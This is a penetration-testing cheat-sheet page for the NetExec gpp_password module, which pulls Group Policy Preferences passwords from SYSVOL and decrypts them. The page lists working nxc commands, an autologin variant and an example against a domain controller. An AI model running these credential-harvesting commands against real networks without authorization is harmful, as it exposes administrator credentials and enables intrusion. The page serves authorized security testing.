Command Manager

NetExec gpp_password Module

Search SYSVOL for Group Policy Preferences XML files containing AES-encrypted cpassword values, then decrypt them with the well-known Microsoft key. Free local admin or service-account credentials when present.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
nxc
Category
Credential Attacks / Hash Dumping
Platform
linux
Requires
password
Protocols
SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb <target> -u '<user>' -p '<password>' -M gpp_password

Credential variants

The same attack using a different authentication material.

Autologin Variant requires password

nxc smb <target> -u '<user>' -p '<password>' -M gpp_autologin

Examples

nxc smb dc.corp.local -u jdoe -p 'Password123!' -M gpp_password

Tags

netexec nxc gpp cpassword sysvol credentials

References